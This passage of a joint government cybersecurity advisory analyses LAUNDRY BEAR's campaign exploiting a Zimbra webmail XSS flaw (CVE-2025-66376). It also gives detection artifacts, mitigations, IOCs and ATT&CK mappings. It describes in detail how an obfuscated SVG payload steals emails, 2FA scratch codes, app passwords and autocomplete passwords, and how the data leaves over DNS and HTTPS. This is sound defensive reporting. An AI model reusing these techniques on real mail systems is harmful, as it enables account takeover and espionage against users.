According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing.

Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

**Table 1: Additional SOAP commands used**
SOAP Command	Namespace	Stage
GetInfoRequest	zimbraAccount	gather_environment
GetDeviceStatusRequest	zimbraSync	gather_device_status
GetOAuthConsumersRequest	zimbraAccount	gather_oauth_consumers
SearchGalRequest	zimbraAccount	gather_gal

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

**Table 2: ZCS webmail client types**
Indicator	Client Type	Associated Value
?client=advanced	Advanced	c
/h/	Standard	h
/modern/	Modern	m

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.

**Table 3: DNS exfiltration**
Type of Information	Exfiltration Stage	Data Type
Victim’s Email Address	gather_email	e
Client Type	gather_environment	c
Zimbra Version	gather_environment	v
URL at Time of Exploitation	gather_environment	url
2FA Scratch Codes	gather_2fa_codes	2fa
Newly Created Application Password	gather_app_password	pa
Harvested Autocomplete Password	gather_autocomplete_password	pw

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.

**Table 4: HTTPS exfiltration types**
Content Type	URL Path
application/json	/v/p
application/octet-stream	/v/d

Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.

Table 5 provides a summary of the JSON-based exfiltration.

**Table 5: HTTPS JSON exfiltration**
Type of Information	Exfiltration Stage	JSON Key(s)
Victim’s Email Address	gather_email	email
Client Type, Version, and Current URL	gather_environment	client, version, full_url
Newly Created Application Password	gather_app_password	app_password
Harvested Autocomplete Password	gather_autocomplete_password	autocomplete_password

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

**Table 6: HTTPS binary exfiltration**
Type of Information	Exfiltration Stage	X-Filename Header
SOAP request for GetInfoRequest	gather_environment	zimbra_batch_analytics.json
SOAP request for GetScratchCodesRequest	gather_2fa_codes	zimbra_batch_analytics.json
SOAP request for GetDeviceStatusRequest	gather_device_status	zimbra_batch_analytics.json
SOAP request for GetOAuthConsumersRequest	gather_oauth_consumers	zimbra_batch_analytics.json
Victim Organization’s Global Address List	gather_gal	telemetry_{1-20}.json
Last 90 Days of Victim’s Emails	sendArchives	telemetryData_{0-89}.json

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

**Table 7: Flowerbed server infrastructure**
Domain	IP Address	First Seen	Last Seen
zmailanalytics[.]com	216.252.238[.]104	8 July 2025	15 October 2025
zimbra-metadata[.]com	216.252.238[.]18	20 August 2025	14 October 2025
analyticemailmeter[.]com	37.120.247[.]228	24 September 2025	18 March 2026
emailanalytics.com[.]ua	185.86.79[.]95	24 September 2025	18 March 2026
mailnalysis[.]com	104.248.134[.]194	11 November 2025	17 February 2026
zimbrastat[.]com	64.226.124[.]190	18 December 2025	18 March 2026
zimbrasoft.com[.]ua	193.238.152[.]66	20 January 2026	18 March 2026
synacorzimbra[.]nl	216.252.238[.]64	3 February 2026	30 March 2026
istc-cloud[.]com	194.156.103[.]193	5 February 2026	30 March 2026

**Table 8: Flowerbed X.509 certificate SHA-1 hashes**
Associated Domain	X.509 SHA-1 Hash	First Seen	Last Seen
zmailanalytics[.]com	2e4f314bc9943cab5005d6fde0b271c74d47bc9d	8 Jul 2025	6 Aug 2025
*.i.zmailanalytics[.]com	50a87d926621dd06389ba50d86e0ff574ed713a8	6 Aug 2025	13 Oct 2025
*.i.zimbra-metadata[.]com	c5a72420e7bb308d078e62128430897f82194c95	20 Aug 2025	14 Oct 2025
*.i.analyticemailmeter[.]com	8959c4d29e29f02ea94ea8bb21c8df2594c5549d	24 Sep 2025	8 Nov 2025
*.i.emailanalytics.com[.]ua	62eb76432597694edb01c1fe57aab0cfe03a7178	25 Sep 2025	27 Sep 2025
*.i.mailnalysis[.]com	cddf5c3be1e07f28140aed165b929bf2d614922a	12 Nov 2025	17 Dec 2025
*.i.zimbrastat[.]com	18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8	18 Dec 2025	28 Dec 2025
*.i.zimbrasoft.com[.]ua	1b25041ececf2457eef0270fc1d785cec8ec9ded	21 Jan 2026	10 Feb 2026
*.i.synacorzimbra[.]nl	e4fe6466a4f9a4249fe330651e914e45bbdca44a	5 Feb 2026	22 Mar 2026
*.i.istc-cloud[.]com	b6b77c9a455225d525834a403ca9ef5481ed0447	12 Feb 2026	30 Mar 2026

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.

The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/

Footnotes

¹ Národní úřad pro kybernetickou a informační bezpečnost
²Forsvarets Efterretningstjeneste
³Välisluureamet
⁴ Sotilastiedustelu
⁵ Suojelupoliisi
⁶ Direction générale de la sécurité intérieure
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Serviciul de Informații și Securitate al Republicii Moldova
¹¹Agencja Wywiadu
¹²Służba Kontrwywiadu Wojskowego
¹³Centro Nacional de Inteligencia
¹⁴Nationellt Cybersäkerhetscenter
¹⁵ MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

National Security Agency
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
Cybersecurity and Infrastructure Security Agency
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472).
Federal Bureau of Investigation
If you or someone you know has fallen victim to this campaign, file a complaint with IC3.
Defense Counterintelligence and Security Agency
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117.
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil
Department of Defense Cyber Crime Center
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil
Media Inquiries / Press Desk: DC3.Information@us.af.mil
Naval Criminal Investigative Service
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid
General Intelligence and Security Service (AIVD): https://www.aivd.nl

Australian organizations

Australian Signals Directorate
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE):
Visit https://www.sicurezzanazionale.gov.it/
Italian Internal Intelligence and Security Agency (AISI):
Visit https://www.sicurezzanazionale.gov.it/

Moldovan organizations

Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md

Polish organizations

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

**Table 9: Reconnaissance**
Technique Title	ID	Use
Gather Victim Identity Information: Credentials	T1589.001	The payload attempts to intercept a victim’s password from their password manager.
Gather Victim Identity Information: Email Addresses	T1589.002	The payload attempts to grab the victim’s email address from various data stores.
Search Open Websites/Domains	T1593	This group likely leverages public information to support target development.
Active Scanning	T1595	Port scanning can be used by this group to assist with determining exploitability of identified targets.
Search Open Technical Databases: Scan Databases	T1596.005	Various public datasets can provide information to support discovery of exploitable targets.
Search Closed Sources	T1597	Previously exfiltrated data can be used to enhance target development efforts.
Search Closed Sources: Purchase Technical Data	T1597.002	Commercial datasets can also be used to support target development efforts.

**Table 10: Resource Development**
Technique Title	ID	Use
Acquire Infrastructure	T1583	This group used Mullvad VPN to anonymize traffic sent to operational infrastructure.
Acquire Infrastructure: Virtual Private Server	T1583.003	This group procured VPS servers from a variety of vendors.
Develop Capabilities	T1587	The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns.
Develop Capabilities: Malware	T1587.001	Development of a novel payload that steals a victim’s emails and other sensitive account information.
Develop Capabilities: Exploits	T1587.004	Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript.
Obtain Capabilities: Tool	T1588.002	Open source tools, such as Evilginx2, have also been used by the group.
Obtain Capabilities: Artificial Intelligence	T1588.007	The group appears to have leveraged AI to support development efforts.
Stage Capabilities	T1608	Flowerbed is deployed to a procured server in the cloud.

**Table 11: Initial Access**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.
Trusted Relationship	T1199	The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.
Phishing	T1566	The actors used spear phishing to lure users into opening malicious email.

**Table 12: Execution**
Technique Title	ID	Use
Exploitation for Client Execution	T1203	An XSS vulnerability was leveraged to execute the JavaScript payload.

**Table 13: Persistence**
Technique Title	ID	Use
Account Manipulation	T1098	Enabling IMAP and Application Passcodes provides persistent access to the compromised account.
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.

**Table 14: Privilege Escalation**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.

**Table 15: Stealth**
Technique Title	ID	Use
Obfuscated Files or Information: Command Obfuscation	T1027.010	Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability.
Obfuscated Files or Information: Encrypted/Encoded File	T1027.013	The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload.
Obfuscated Files or Information: SVG Smuggling	T1027.017	The payload was contained in an “onload” attribute within an SVG image included in the malicious email.
Use Alternate Authentication Material: Web Session Cookie	T1550.004	Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate.

**Table 16: Credential Access**
Technique Title	ID	Use
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.
Adversary-in-the-Middle	T1557	Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies.

**Table 17: Collection**
Technique Title	ID	Use
